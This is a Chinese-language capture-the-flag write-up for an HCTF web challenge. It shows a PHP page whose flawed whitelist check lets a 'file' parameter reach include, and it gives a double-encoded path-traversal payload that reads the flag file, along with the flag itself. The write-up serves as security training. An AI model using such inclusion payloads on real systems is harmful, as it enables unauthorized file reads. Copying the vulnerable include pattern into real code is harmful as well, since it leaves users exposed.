難度系數: ★★
題目來源: HCTF
題目描述: 暫無
題目場景: http://220.249.52.133:38343 (溫馨提示:每次進入URL的埠號都不一樣)
1、點擊鏈接進入如下界面

2、查看源代碼(按F12或F12+Fn),出現以下代碼,
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
3、發現了“source.php”
則在鏈接后面加上“/source.php”
既是http://220.249.52.133:38343/source.php
4、輸入URL之后,跳出以下資訊
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

5、發現了關鍵資訊
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];

6、在鏈接后加上/hint.php
URL: http://220.249.52.133:38343/hint.php
7、輸入URL,出現以下資訊

8、然后構造payload
?file=source.php%253f/../../../../ffffllllaaaagggg
URL: http://220.249.52.133:38343/source.php?file=source.php%253f/../../../../ffffllllaaaagggg
這樣也可以,等等!

9、找到flag

10、OK
flag{25e7bce6005c4e0c983fb97297ac6e5a}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/144780.html
標籤:其他
上一篇:MySQL題集
